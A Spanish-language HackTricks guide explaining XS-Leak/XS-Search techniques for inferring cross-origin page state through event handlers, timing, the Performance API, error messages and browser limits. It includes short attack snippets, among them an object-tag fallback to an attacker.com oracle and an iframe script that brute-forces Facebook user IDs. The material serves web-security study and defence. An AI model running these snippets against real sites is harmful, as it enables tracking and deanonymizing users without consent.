XS-Search/XS-Leaks

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Basic Information

XS-Search es un método usado para extraer información cross-origin aprovechando vulnerabilidades de canal lateral.

Los componentes clave implicados en este ataque incluyen:

  • Vulnerable Web: El sitio objetivo del que se pretende extraer información.
  • Attacker’s Web: El sitio malicioso creado por el atacante, que visita la víctima y que aloja el exploit.
  • Inclusion Method: La técnica empleada para incorporar la Vulnerable Web en la Attacker’s Web (por ejemplo, window.open, iframe, fetch, HTML tag with href, etc.).
  • Leak Technique: Técnicas usadas para discernir diferencias en el estado de la Vulnerable Web basándose en la información obtenida mediante el Inclusion Method.
  • States: Las dos posibles condiciones de la Vulnerable Web, que el atacante intenta distinguir.
  • Detectable Differences: Variaciones observables en las que el atacante se apoya para inferir el estado de la Vulnerable Web.

Detectable Differences

Varios aspectos pueden analizarse para diferenciar los estados de la Vulnerable Web:

  • Status Code: Distinguir entre diversos códigos de respuesta HTTP cross-origin, como errores del servidor, errores del cliente o errores de autenticación.
  • API Usage: Identificar uso de Web APIs en páginas, revelando si una página cross-origin emplea una API JavaScript concreta.
  • Redirects: Detectar navegaciones a páginas distintas, no solo redirecciones HTTP sino también las provocadas por JavaScript o HTML.
  • Page Content: Observar variaciones en el cuerpo de la respuesta HTTP o en sub-recursos de la página, como el número de frames embebidos o diferencias de tamaño en imágenes.
  • HTTP Header: Notar la presencia o posiblemente el valor de un header de respuesta HTTP específico, incluyendo headers como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
  • Timing: Detectar diferencias de tiempo consistentes entre los dos estados.

Inclusion Methods

  • HTML Elements: HTML ofrece varios elementos para la inclusión de recursos cross-origin, como stylesheets, images o scripts, obligando al navegador a solicitar un recurso no-HTML. Una recopilación de posibles elementos HTML para este propósito puede encontrarse en https://github.com/cure53/HTTPLeaks.
  • Frames: Elementos como iframe, object y embed pueden embeber recursos HTML directamente en la página del atacante. Si la página no tiene protección contra framing, JavaScript puede acceder al objeto window del framed resource mediante la propiedad contentWindow.
  • Pop-ups: El método window.open abre un recurso en una nueva pestaña o ventana, proporcionando un window handle para que JavaScript interactúe con métodos y propiedades siguiendo la SOP. Los pop-ups, a menudo usados en single sign-on, evitan las restricciones de framing y cookies de un recurso objetivo. Sin embargo, los navegadores modernos limitan la creación de pop-ups a ciertas acciones del usuario.
  • JavaScript Requests: JavaScript permite solicitudes directas a recursos objetivo usando XMLHttpRequests o la Fetch API. Estos métodos ofrecen control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.

Leak Techniques

  • Event Handler: Una técnica clásica en XS-Leaks, donde manejadores de eventos como onload y onerror aportan información sobre el éxito o fallo de la carga de un recurso.
  • Error Messages: Excepciones de JavaScript o páginas de error especiales pueden aportar información de leak ya sea directamente por el mensaje de error o diferenciando entre su presencia o ausencia.
  • Global Limits: Limitaciones físicas del navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden señalar cuándo se alcanza un umbral y servir como técnica de leak.
  • Global State: Interacciones detectables con los estados globales del navegador (por ejemplo, la interfaz History) pueden explotarse. Por ejemplo, el número de entradas en el historial del navegador puede ofrecer pistas sobre páginas cross-origin.
  • Performance API: Esta API proporciona detalles de rendimiento de la página actual, incluyendo tiempos de red para el documento y recursos cargados, permitiendo inferencias sobre recursos solicitados.
  • Readable Attributes: Algunos atributos HTML son legibles cross-origin y pueden usarse como técnica de leak. Por ejemplo, la propiedad window.frame.length permite a JavaScript contar los frames incluidos en una página cross-origin.

XSinator Tool & Paper

XSinator es una herramienta automática para comprobar navegadores contra varios XS-Leaks conocidos explicados en su paper: https://xsinator.com/paper.pdf

Puedes acceder a la herramienta en https://xsinator.com/

Warning

Excluded XS-Leaks: Tuvimos que excluir XS-Leaks que dependen de service workers ya que interferirían con otros leaks en XSinator. Además, optamos por excluir XS-Leaks que dependen de una mala configuración y bugs en una aplicación web específica. Por ejemplo, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage o Cross-Site Scripting. Adicionalmente, excluimos los XS-Leaks basados en tiempo ya que a menudo son lentos, ruidosos e imprecisos.

Timing Based techniques

Algunas de las siguientes técnicas van a usar el timing como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay distintas formas de medir el tiempo en un navegador web.

Clocks: La API performance.now() permite a los desarrolladores obtener mediciones de tiempo de alta resolución.
Hay un número considerable de APIs que los atacantes pueden abusar para crear relojes implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, y otras.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

El ejemplo de código intenta load scripts objects from JS, pero other tags como objects, stylesheets, images, audios también podrían usarse. Además, también es posible inyectar la tag directamente y declarar los eventos onload y onerror dentro de la tag (en lugar de inyectarla desde JS).

También existe una versión de este ataque sin scripts:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargará attacker.com/?error.

Content-Type/CORB script load oracle

  • Métodos de inclusión: Elementos HTML (script)
  • Diferencia detectable: Header / Content-Type vía onload vs onerror (CORB)
  • Resumen: Si un endpoint devuelve HTML en caso de match y JSON en caso de mismatch, cárgalo con <script src>. El HTML dispara onload; el JSON es CORB-blocked y dispara onerror, dando un Boolean oracle para brute-force identificadores como __user dentro de un scope conocido.
  • Notas: Funciona cross-origin sin leer los bodies; útil para enumerar la cuenta activa cuando un tenant ID está fijo.

postMessage vs X-Frame-Options deny oracle

  • Métodos de inclusión: Frames
  • Diferencia detectable: Header (XFO) + presencia/ausencia de postMessage
  • Resumen: Algunos widgets hacen postMessage a su parent una vez cargados. Si la petición se emite en un frame con un identificador incorrecto, el servidor puede responder con X-Frame-Options: deny, impidiendo el renderizado y por lo tanto no se emite ningún mensaje. Al establecer el src del iframe con el ID candidato, esperar un evento message (éxito) y tratar timeout/no message como fallo, la cuenta activa puede ser brute-forced.
  • Snippet mínimo:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

para más problemas relacionados con message/iframe.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.

performance.now + Force heavy task

unload/beforeunload Timing

El tiempo que tarda en obtener un recurso puede medirse utilizando los eventos unload y beforeunload. El evento beforeunload se dispara cuando el navegador está a punto de navegar a una nueva página, mientras que el evento unload ocurre cuando la navegación se está llevando a cabo. La diferencia de tiempo entre estos dos eventos puede calcularse para determinar la duración que el navegador dedicó a obtener el recurso.

Sandboxed Frame Timing + onload

Se ha observado que, en ausencia de Framing Protections, el tiempo requerido para que una página y sus subrecursos se carguen por la red puede ser medido por un atacante. Esta medición suele ser posible porque el manejador onload de un iframe se desencadena solo después de la finalización de la carga de recursos y de la ejecución de JavaScript. Para eludir la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo sandbox dentro del <iframe>. La inclusión de este atributo restringe numerosas funcionalidades, en particular la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Contenido de la página
  • More info:
  • Summary: Si puedes hacer que la página dé error cuando se accede al contenido correcto y hacer que cargue correctamente cuando se accede a cualquier contenido, entonces puedes crear un bucle para extraer toda la información sin medir el tiempo.
  • Code Example:

Supongamos que puedes insertar la page que contiene el contenido secret inside an Iframe.

Puedes hacer que la víctima busque el archivo que contiene “flag” usando un Iframe (explotando un CSRF por ejemplo). Dentro del Iframe sabes que el onload event se ejecutará siempre al menos una vez. Entonces, puedes cambiar la URL del iframe cambiando solo el contenido del hash dentro de la URL.

Por ejemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la primera URL se cargó correctamente, entonces, al cambiar la parte del hash de la URL el onload no se disparará de nuevo. Pero si la página tuvo algún tipo de error al cargar, entonces, el onload se disparará de nuevo.

Entonces, puedes distinguir entre una página que se cargó correctamente o una página que tiene un error al accederse.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Contenido de la página
  • More info:
  • Summary: Si la page está devolviendo el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podría establecer código JS válido en el caso negativo, y cargar cada intento dentro de etiquetas <script>, de modo que en los casos negativos se ejecuta el código del atacante, y en los casos afirmativos no se ejecuta nada.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) es una medida de seguridad que evita que las páginas web carguen ciertos recursos cross-origin sensibles para protegerse contra ataques como Spectre. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a CORB devuelve un Content-Type CORB protected con nosniff y un código de estado 2xx, CORB elimina el cuerpo y los headers de la respuesta. Los atacantes que observan esto pueden inferir la combinación del status code (indicando éxito o error) y el Content-Type (denotando si está protegido por CORB), lo que puede llevar a una posible información leak.
  • Code Example:

Consulta el enlace de más información para más detalles sobre el ataque.

onblur

Es posible cargar una página dentro de un iframe y usar el #id_value para hacer que la página focalice el elemento del iframe con el id indicado; entonces si se dispara una señal onblur, el elemento con ese ID existe.
Puedes realizar el mismo ataque con etiquetas portal.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Recolecta información sensible de un postMessage o usa la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
  • Code Example: Any code listening for all postMessages.

Las aplicaciones frecuentemente utilizan postMessage broadcasts para comunicarse entre distintos orígenes. Sin embargo, este método puede exponer inadvertidamente información sensible si el parámetro targetOrigin no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero hecho de recibir un mensaje puede actuar como un oráculo; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que están logueados. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o la identidad del usuario, como si está autenticado o no.

Global Limits Techniques

WebSocket API

Es posible identificar si, y cuántas, WebSocket connections usa una página objetivo. Esto permite a un atacante detectar estados de la aplicación y leak información ligada al número de conexiones WebSocket.

Si un origin usa la cantidad máxima de objetos WebSocket, independientemente de su estado de conexión, la creación de nuevos objetos resultará en excepciones de JavaScript. Para ejecutar este ataque, el sitio del atacante abre la web objetivo en un pop-up o iframe y luego, después de que la web objetivo se haya cargado, intenta crear el número máximo de conexiones WebSocket posible. El número de excepciones lanzadas es el número de conexiones WebSocket usadas por la ventana del sitio objetivo.

Payment API

Este XS-Leak permite a un atacante detectar cuándo una página cross-origin inicia una payment request.

Debido a que solo una Payment Request puede estar activa al mismo tiempo, si la web objetivo está usando la Payment Request API, cualquier intento posterior de mostrar esta API fallará y causará una excepción de JavaScript. El atacante puede explotar esto intentando periódicamente mostrar la UI de Payment API. Si un intento provoca una excepción, la página objetivo la está usando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la UI tras crearla.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript opera con un modelo de concurrencia de single-threaded event loop, lo que significa que solo puede ejecutar una tarea a la vez. Esta característica puede explotarse para medir cuánto tarda en ejecutarse código de un origen distinto. Un atacante puede medir el tiempo de ejecución de su propio código en el event loop despachando continuamente eventos con propiedades fijas. Estos eventos serán procesados cuando la cola de eventos esté vacía. Si otros orígenes también están despachando eventos a la misma cola, un atacante puede inferir el tiempo que tardan esos eventos externos en ejecutarse observando retrasos en la ejecución de sus propias tareas. Este método de monitorizar el event loop para detectar demoras puede revelar el tiempo de ejecución de código de orígenes distintos, exponiendo potencialmente información sensible.

Warning

En una medición de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos usados por la página antes de cargarla.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generalmente debido a Contenido de la página, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Un método para medir el tiempo de ejecución de una operación web consiste en bloquear intencionadamente el event loop de un hilo y luego cronometrar cuánto tarda en estar disponible de nuevo. Insertando una operación bloqueante (como un cálculo largo o una llamada síncrona a una API) en el event loop, y monitorizando el tiempo que tarda el código subsecuente en comenzar a ejecutarse, se puede inferir la duración de las tareas que estaban ejecutándose en el event loop durante el periodo de bloqueo. Esta técnica aprovecha la naturaleza single-threaded del event loop de JavaScript, donde las tareas se ejecutan secuencialmente, y puede ofrecer pistas sobre el rendimiento o comportamiento de otras operaciones que comparten el mismo hilo.
  • Code Example:

Una ventaja importante de la técnica de medir tiempos bloqueando el event loop es su potencial para eludir Site Isolation. Site Isolation es una característica de seguridad que separa diferentes sitios web en procesos distintos, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen mediante el event loop compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos del otro origen sino que observa el impacto de las actividades de ese origen en el event loop compartido, evadiendo así las barreras protectoras establecidas por Site Isolation.

Warning

En una medición de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos usados por la página antes de cargarla.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generalmente debido a Contenido de la página, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Un atacante podría bloquear todos los sockets excepto 1, cargar la web objetivo y al mismo tiempo cargar otra página; el tiempo hasta que la última página empieza a cargar es el tiempo que tardó la página objetivo en cargar.
  • Code Example:

Connection Pool Examples

Los navegadores usan sockets para comunicarse con servidores, pero debido a los recursos limitados del sistema operativo y hardware, los navegadores se ven obligados a imponer un límite en el número de sockets concurrentes. Los atacantes pueden explotar esta limitación mediante los siguientes pasos:

  1. Averiguar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
  2. Ocupar 255 sockets durante un periodo prolongado iniciando 255 requests a varios hosts, diseñadas para mantener las conexiones abiertas sin completarlas.
  3. Emplear el socket número 256 para enviar una petición a la página objetivo.
  4. Intentar una petición 257 a otro host. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta petición quedará en cola hasta que un socket esté disponible. El retraso antes de que esta petición proceda proporciona al atacante información de temporización sobre la actividad de red relativa al socket 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 siguen ocupados, implicando que cualquier socket disponible debe ser el liberado por el paso 3. El tiempo que tarda el socket 256 en estar disponible está así directamente ligado al tiempo requerido para que la petición a la página objetivo se complete.

Para más info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generalmente debido a Contenido de la página, Status Code)
  • More info:
  • Summary: Es similar a la técnica anterior pero en lugar de usar todos los sockets, Google Chrome impone un límite de 6 requests concurrentes al mismo origin. Si bloqueamos 5 y luego lanzamos una request podemos cronometrarla y si logramos hacer que la página víctima envíe más requests al mismo endpoint para detectar un estado de la página, la 6ª request tardará más y podremos detectarlo.

Performance API Techniques

The Performance API ofrece información sobre métricas de rendimiento de aplicaciones web, ampliada por el Resource Timing API. El Resource Timing API permite monitorizar tiempos detallados de requests de red, como la duración de las peticiones. Notablemente, cuando los servidores incluyen el header Timing-Allow-Origin: * en sus respuestas, datos adicionales como el tamaño de la transferencia y el tiempo de resolución de dominio se hacen disponibles.

Esta riqueza de datos puede obtenerse mediante métodos como performance.getEntries o performance.getEntriesByName, proporcionando una visión completa de la información relacionada con el rendimiento. Además, la API facilita la medición de tiempos de ejecución calculando la diferencia entre timestamps obtenidos con performance.now(). Sin embargo, cabe destacar que para ciertas operaciones en navegadores como Chrome, la precisión de performance.now() puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de tiempo.

Más allá de las mediciones de tiempo, la Performance API puede aprovecharse para obtener información relacionada con seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto performance en Chrome puede indicar la aplicación de X-Frame-Options. Específicamente, si una página es bloqueada de renderizarse en un frame debido a X-Frame-Options, no será registrada en el objeto performance, proporcionando una pista sutil sobre las políticas de framing de la página.

Error Leak

Es posible diferenciar entre códigos de estado HTTP porque las requests que llevan a un error no crean una entrada en performance.

Style Reload Error

En la técnica anterior también se identificaron dos casos donde bugs del navegador en GC provocan que los recursos se carguen dos veces cuando fallan al cargar. Esto resultará en múltiples entradas en la Performance API y por tanto puede ser detectado.

Request Merging Error

La técnica se encontró en una tabla del paper mencionado pero no se halló descripción de la misma allí. Sin embargo, puedes encontrar el código fuente comprobándolo en https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Un atacante puede detectar si una request resultó en un cuerpo HTTP vacío porque las páginas vacías no crean una entrada en performance en algunos navegadores.

XSS-Auditor Leak

En Security Assertions (SA), el XSS Auditor, originalmente destinado a prevenir Cross-Site Scripting (XSS), puede paradójicamente explotarse para leak información sensible. Aunque esta funcionalidad integrada fue eliminada de Google Chrome (GC), sigue presente en SA. En 2013, Braun y Heiderich demostraron que el XSS Auditor podía bloquear scripts legítimos, llevando a falsos positivos. A partir de esto, investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas cross-origin, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y ampliado por Heyes en un blog. Aunque estas técnicas fueron específicas del XSS Auditor en GC, se descubrió que en SA las páginas bloqueadas por el XSS Auditor no generan entradas en la Performance API, revelando un método por el cual aún puede producirse información leak.

X-Frame Leak

Si una página no está permitida para ser renderizada en un iframe no crea una entrada en performance. Como resultado, un atacante puede detectar el header de respuesta X-Frame-Options.
Lo mismo ocurre si usas una etiqueta embed.

Download Detection

De forma similar al XS-Leak descrito, un recurso que se descarga debido al header ContentDisposition tampoco crea una entrada en performance. Esta técnica funciona en todos los navegadores principales.

Redirect Start Leak

Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para requests cross-origin. El estándar define un subconjunto de atributos que deberían ponerse a cero para recursos cross-origin. Sin embargo, en SA es posible detectar si el usuario fue redireccionado por la página objetivo, consultando la Performance API y comprobando el dato de timing redirectStart.

Duration Redirect Leak

En GC, la duration para requests que resultan en un redirect es negativa y por tanto puede distinguirse de requests que no resultan en redirect.

CORP Leak

En algunos casos, la entrada nextHopProtocol puede usarse como técnica de leak. En GC, cuando se establece el header CORP, el nextHopProtocol estará vacío. Ten en cuenta que SA no creará una entrada en performance en absoluto para recursos con CORP habilitado.

Service Worker

Los service workers son contextos de script impulsados por eventos que se ejecutan en un origin. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y cachear recursos para crear aplicaciones web offline.
Si un recurso cacheado por un service worker se accede vía iframe, el recurso será cargado desde la cache del service worker.
Para detectar si el recurso fue cargado desde el service worker se puede usar la Performance API.
Esto también podría hacerse con un ataque de timing (consulta el paper para más info).

Cache

Usando la Performance API es posible comprobar si un recurso está en cache.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface’s message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

La propiedad message de la interfaz MediaError identifica de forma única recursos que se cargan correctamente con una cadena distinta. Un atacante puede explotar esta característica observando el contenido del message y, así, deducir el estado de la respuesta de un recurso cross-origin.

CORS Error

Esta técnica permite a un atacante extraer el destino de una redirección de un sitio cross-origin explotando cómo los navegadores basados en WebKit manejan las peticiones CORS. Concretamente, cuando se envía una CORS-enabled request a un sitio que realiza una redirección según el estado del usuario y el navegador deniega la petición, la URL completa del objetivo de la redirección se filtra dentro del mensaje de error. Esta vulnerabilidad no solo revela que ocurrió la redirección, sino que expone el endpoint de la redirección y cualquier parámetro de consulta sensible que contenga.

SRI Error

Un atacante puede explotar mensajes de error verbosos para deducir el tamaño de respuestas cross-origin. Esto es posible debido al mecanismo de Subresource Integrity (SRI), que utiliza el atributo integrity para validar que los recursos obtenidos, a menudo desde CDNs, no hayan sido manipulados. Para que SRI funcione en recursos cross-origin, estos deben ser CORS-enabled; de lo contrario, no se someten a las comprobaciones de integridad. En Security Assertions (SA), al igual que con el CORS error XS-Leak, se puede capturar un mensaje de error tras una petición fetch con un atributo integrity que falla. Los atacantes pueden provocar deliberadamente este error asignando un hash falso al atributo integrity de cualquier petición. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta filtración permite a un atacante discernir variaciones en el tamaño de la respuesta, abriendo la vía a ataques XS-Leak más sofisticados.

CSP Violation/Detection

Un XS-Leak puede usar la CSP para detectar si un sitio cross-origin fue redirigido a un origen distinto. Este leak puede detectar la redirección y, además, filtra el dominio del objetivo de la redirección. La idea básica de este ataque es permitir el dominio objetivo en el sitio del atacante. Una vez que se emite una petición al dominio objetivo, este redirige a un dominio cross-origin. CSP bloquea el acceso y genera un informe de violación usado como técnica de leak. Dependiendo del navegador, este informe puede filtrar la ubicación objetivo de la redirección.
Los navegadores modernos no indicarán la URL exacta a la que se redirigió, pero aún puedes detectar que se disparó una redirección cross-origin.

Cache

Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha solicitado un archivo específico.

Si una página carga una imagen solo si el usuario está autenticado, puedes invalidar el recurso (para que no esté en caché si lo estaba, ver los enlaces de más info), realizar una petición que podría cargar ese recurso y luego intentar cargar el recurso con una petición malformada (por ejemplo, usando un referer header excesivamente largo). Si la carga del recurso no provocó ningún error, es porque estaba en caché.

CSP Directive

Una característica novedosa en Google Chrome (GC) permite que las páginas web propongan una Content Security Policy (CSP) estableciendo un atributo en un elemento iframe, con directivas de política transmitidas junto con la petición HTTP. Normalmente, el contenido embebido debe autorizar esto vía un header HTTP, o se muestra una página de error. Sin embargo, si el iframe ya está regido por una CSP y la política propuesta no es más restrictiva, la página se cargará normalmente. Este mecanismo abre una vía para que un atacante detecte directivas CSP específicas de una página cross-origin identificando la página de error. Aunque esta vulnerabilidad fue marcada como corregida, nuestros hallazgos revelan una nueva técnica de leak capaz de detectar la página de error, lo que sugiere que el problema subyacente nunca fue totalmente solucionado.

CORP

El header CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, bloquea no-cors cross-origin requests al recurso dado. La presencia del header puede detectarse, porque un recurso protegido con CORP lanzará un error cuando sea fetched.

CORB

Consulta el enlace para más información sobre el ataque.

CORS error on Origin Reflection misconfiguration

En el caso de que el Origin header se esté reflejando en el header Access-Control-Allow-Origin, un atacante puede abusar de este comportamiento para intentar fetch el recurso en modo CORS. Si no se produce un error, significa que se recuperó correctamente desde la web; si se genera un error, es porque se accedió desde la caché (el error aparece porque la caché guarda una respuesta con un header CORS que permite el dominio original y no el dominio del atacante).
Ten en cuenta que si el origin no se refleja pero se usa un wildcard (Access-Control-Allow-Origin: *) esto no funcionará.

Readable Attributes Technique

Fetch Redirect

Enviando una petición usando la Fetch API con redirect: "manual" y otros parámetros, es posible leer el atributo response.type y si es igual a opaqueredirect entonces la respuesta fue una redirección.

COOP

Un atacante puede deducir la presencia del header Cross-Origin Opener Policy (COOP) en una respuesta HTTP cross-origin. COOP se utiliza por aplicaciones web para impedir que sitios externos obtengan referencias arbitrarias de ventanas. La visibilidad de este header puede discernirse intentando acceder a la referencia contentWindow. En escenarios donde COOP se aplica condicionalmente, la propiedad opener se convierte en un indicador: es undefined cuando COOP está activo, y defined cuando no lo está.

URL Max Length - Server Side

Si una redirección del lado servidor utiliza input del usuario dentro de la redirección y datos extra, es posible detectar este comportamiento porque normalmente los servidores tienen un límite de longitud de petición. Si los datos del usuario tienen una longitud cercana a ese límite - 1, y la redirección añade algo extra, se disparará un error detectable vía Error Events.

Si de alguna forma puedes establecer cookies a un usuario, también puedes realizar este ataque configurando suficientes cookies (cookie bomb) de modo que, con el aumento del tamaño de la respuesta en la respuesta correcta, se dispare un error. En este caso, recuerda que si disparas la petición desde el mismo sitio, un <script> enviará automáticamente las cookies (así puedes comprobar errores).
Un ejemplo de cookie bomb + XS-Search puede encontrarse en la solución prevista de este writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Normalmente se necesita SameSite=None o que esté en el mismo contexto para este tipo de ataque.

URL Max Length - Client Side

Según la documentación de Chromium, la longitud máxima de URL en Chrome es de 2MB.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Por lo tanto, si la URL de redirección devuelta es más larga en uno de los casos, es posible hacer que redirija con una URL mayor de 2MB para alcanzar el límite de longitud. Cuando esto sucede, Chrome muestra una página about:blank#blocked.

La diferencia apreciable es que si la redirección se completó, window.origin lanza un error porque un cross-origin no puede acceder a esa información. Sin embargo, si se alcanzó el límite y la página cargada fue about:blank#blocked, el origin de la ventana permanece el del padre, lo cual es una información accesible.

Toda la información extra necesaria para alcanzar los 2MB se puede añadir mediante un hash en la URL inicial para que sea utilizado en la redirección.

URL Max Length - Client Side

Max Redirects

Si el número máximo de redirecciones que sigue un navegador es 20, un atacante podría intentar cargar su página con 19 redirecciones y finalmente enviar a la víctima a la página testeada. Si se produce un error, entonces la página estaba intentando redirigir a la víctima.

History Length

La History API permite que el código JavaScript manipule el historial del navegador, que guarda las páginas visitadas por un usuario. Un atacante puede usar la propiedad length como método de inclusión: para detectar navegaciones JavaScript y HTML.
Comprobando history.length, haciendo que un usuario navegue a una página, volviendo a la misma-origin y comprobando el nuevo valor de history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: It’s possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
  • Code Example: Below

Un atacante podría usar código JavaScript para manipular la ubicación del frame/popup hacia una URL adivinada y inmediatamente cambiarla a about:blank. Si la longitud del historial aumentó significa que la URL era correcta y tuvo tiempo de incrementarse porque la URL no se recarga si es la misma. Si no aumentó, significa que intentó cargar la URL adivinada pero como inmediatamente después cargamos about:blank, la longitud del historial nunca aumentó al cargar la URL adivinada.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Conteo de Frames

Contar el número de frames en una web abierta vía iframe o window.open puede ayudar a identificar el estado del usuario sobre esa página.
Además, si la página siempre tiene el mismo número de frames, comprobar continuamente el número de frames puede ayudar a identificar un patrón que podría filtrar información.

Un ejemplo de esta técnica es que en chrome, un PDF puede ser detectado con frame counting porque internamente se usa un embed. Hay Open URL Parameters que permiten cierto control sobre el contenido como zoom, view, page, toolbar, donde esta técnica podría ser interesante.

HTMLElements

La filtración de información a través de elementos HTML es una preocupación en la seguridad web, especialmente cuando se generan archivos multimedia dinámicos basados en información del usuario, o cuando se añaden marcas de agua que alteran el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.

Información expuesta por elementos HTML

  • HTMLMediaElement: Este elemento revela el duration y los tiempos buffered del medio, accesibles vía su API. Read more about HTMLMediaElement
  • HTMLVideoElement: Expone videoHeight y videoWidth. En algunos navegadores, propiedades adicionales como webkitVideoDecodedByteCount, webkitAudioDecodedByteCount y webkitDecodedFrameCount están disponibles, ofreciendo información más detallada sobre el contenido multimedia. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo totalVideoFrames, que puede indicar la cantidad de datos de video procesados. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Este elemento filtra el height y width de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función image.decode() será rechazada, indicando el fallo en la carga de la imagen. Read more about HTMLImageElement

CSS Property

